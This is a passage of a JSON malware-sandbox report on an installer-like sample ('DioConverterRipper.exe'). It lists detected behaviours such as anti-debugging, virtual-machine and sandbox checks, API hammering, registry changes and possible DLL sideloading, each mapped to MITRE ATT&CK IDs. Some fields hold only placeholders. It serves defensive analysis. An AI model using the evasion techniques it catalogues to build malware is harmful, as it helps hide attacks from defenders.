00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$55","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" queried SystemProcessInformation at 00000000-00002004-00000105-5418039 [PID: 2004]\n \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" queried SystemProcessInformation at 00000000-00002004-00000105-5418271 [PID: 2004]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"DioConverterRipper.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"OutputDebugStringA\" (Indicator: \"OutputDebugString\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API SHGetFolderPathA@SHFOLDER.DLL at 00000000-00002004-6992-3116-0047CB30","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found api reference \"CryptAcquireContextA\" (Indicator: \"CryptAcquireContextA\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found api reference \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$56","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"CryptAcquireContextA\" (Indicator: \"CryptAcquireContext\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"CryptAcquireContextA\" (Indicator: \"CryptAcquireContextA\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"CryptGenRandom\" (Indicator: \"CryptGenRandom\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002004.00000000.75598.00230000.00000004.mdmp, 00000000-00002004.00000001.77520.00230000.00000004.mdmp, 00000000-00002004.00000002.79446.00230000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002380.00000000.76512.00190000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002748.00000002.80499.00160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$57","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$58","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"WNetEnumResourceA\" (Indicator: \"WNetEnumResourceA\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"is-5TOPT.tmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00002004.00000001.77520.00230000.00000004.mdmp, 00000000-00002004.00000002.79446.00230000.00000004.mdmp\")\n Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00002004.00000001.77520.00230000.00000004.mdmp, 00000000-00002004.00000002.79446.00230000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"$59","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002748.00000000.76652.002E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; File: \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002748-00000C2C-210002079\")\n Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002748-00000C2C-236601080\")\n Found reference to API \"GetAddrInfoExW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002748-00000C2C-238322933\")\n Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002748.00000000.76652.002E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00003932)\n \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" called \"GetSystemInfo\" with parameters (UID: 00000000-00002004)\n \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" called \"QueryPerformanceCounter\" (UID: 00000000-00002004)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00003932)\n \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002004)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"DioConverterRipper.exe\" called \"LookupAccountSidW\" with param Name %OSUSER% (UID: 00000000-00002748)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-6-0047CA54\n GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-633-0042EE58\n GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-636-0042EE40\n GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-785-0045892C\n GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-3001-00477B88\n GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-3061-00482ED0\n GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-3401-004969FC\n GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-4415-0047CA00\n GetTickCount@KERNEL32.DLL at 00000000-00002004-6992-4584-00495C10","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindNextFileA@KERNEL32.DLL at 00000000-00002004-6992-81-004540EC\n FindFirstFileA@KERNEL32.DLL at 00000000-00002004-6992-94-00452A4C\n FindNextFileA@KERNEL32.DLL at 00000000-00002004-6992-607-0047F804\n FindNextFileA@KERNEL32.DLL at 00000000-00002004-6992-753-004723E4\n FindNextFileA@KERNEL32.DLL at 00000000-00002004-6992-1146-004543E0\n FindFirstFileA@KERNEL32.DLL at 00000000-00002004-6992-2843-00462ABC\n FindFirstFileA@KERNEL32.DLL at 00000000-00002004-6992-2881-00464048\n FindFirstFileA@KERNEL32.DLL at 00000000-00002004-6992-2889-004644C4\n FindNextFileA@KERNEL32.DLL at 00000000-00002004-6992-2968-0047D334\n FindFirstFileA@KERNEL32.DLL at 00000000-00002004-6992-3039-004751F8\n FindFirstFileA@KERNEL32.DLL at 00000000-00002004-6992-3405-00497A74","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetLogicalDrives@KERNEL32.DLL at 00000000-00002004-6992-2879-00463F60\n GetDriveTypeA@KERNEL32.DLL at 00000000-00002004-6992-2887-0046436C\n GetDriveTypeA@KERNEL32.DLL at 00000000-00002004-6992-2986-0046C764","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002004-6992-75-00457848\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00002004-6992-770-0046E8B8\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002004-6992-785-0045892C\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002004-6992-2757-00457804","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002004-6992-75-00457848\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002004-6992-785-0045892C\n GetSystemTime@KERNEL32.DLL at 00000000-00002004-6992-1932-004010B4\n GetSystemTime@KERNEL32.DLL at 00000000-00002004-6992-1967-00402778\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00002004-6992-2757-00457804\n GetLocalTime@KERNEL32.DLL at 00000000-00002004-6992-3013-0046EBE4\n GetLocalTime@KERNEL32.DLL at 00000000-00002004-6992-3020-0046F190\n GetLocalTime@KERNEL32.DLL at 00000000-00002004-6992-3346-00407DB0\n GetLocalTime@KERNEL32.DLL at 00000000-00002004-6992-3347-00407D84\n GetLocalTime@KERNEL32.DLL at 00000000-00002004-6992-6186-0040592A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"$5c","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.DLL at 00000000-00002004-6992-1984-00408570\n GetLocaleInfoA@KERNEL32.DLL at 00000000-00002004-6992-1988-004085BC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceA@KERNEL32.DLL at 00000000-00002004-6992-2738-00455DF8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system","description":"GetSystemInfo@KERNEL32.DLL at 00000000-00002004-6992-3171-004834FC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":4,"id":"stream-86","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language","description":"GetUserDefaultLangID@KERNEL32.DLL at 00000000-00002004-6992-2742-004560E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614.001","relevance":3,"id":"stream-79","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"OpenProcessToken@ADVAPI32.DLL at 00000000-00002004-6992-603-004555D0\n OpenProcessToken@ADVAPI32.DLL at 00000000-00002004-6992-2445-0042E0AC\n OpenProcessToken@ADVAPI32.DLL at 00000000-00002004-6992-3145-00478120\n OpenProcess@KERNEL32.DLL at 00000000-00002004-6992-3388-00495EC4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"$5d","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Possible DLL sideloading","description":"Possible dll side loading: %TEMP%\\IS-SAGCP.TMP\\_ISETUP\\_ISCRYPT.DLL","origin":"Indicator Combinations","mitre_attack_id":"T1574.001","relevance":5,"id":"summary-47","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$5e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"DioConverterRipper.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyEx\" in file \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in file \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\"\n Found registry modification API: \"RegCreateKeyEx\" in \"00000000-00002004.00000000.75598.00401000.00000020.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.004A1000.00000002.mdmp\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp\"\n Found registry modification API: \"RegCreateKeyExA\" in \"00000000-00002748.00000000.76652.002E0000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerA\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00002748.00000000.76652.002E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; Source: \"00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp\")\n Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; Source: \"00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; File: \"4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00002004.00000000.75598.0049B000.00000004.mdmp, 00000000-00002004.00000002.79446.0049B000.00000004.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002004.00000002.79446.6E2B1000.00000020.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002380.00000001.77113.00DF1000.00000020.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002748.00000001.78573.02030000.00000004.mdmp, 00000000-00002748.00000001.78573.020D0000.00000040.mdmp, 00000000-00002748.00000002.80499.020D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Able to use GrayString 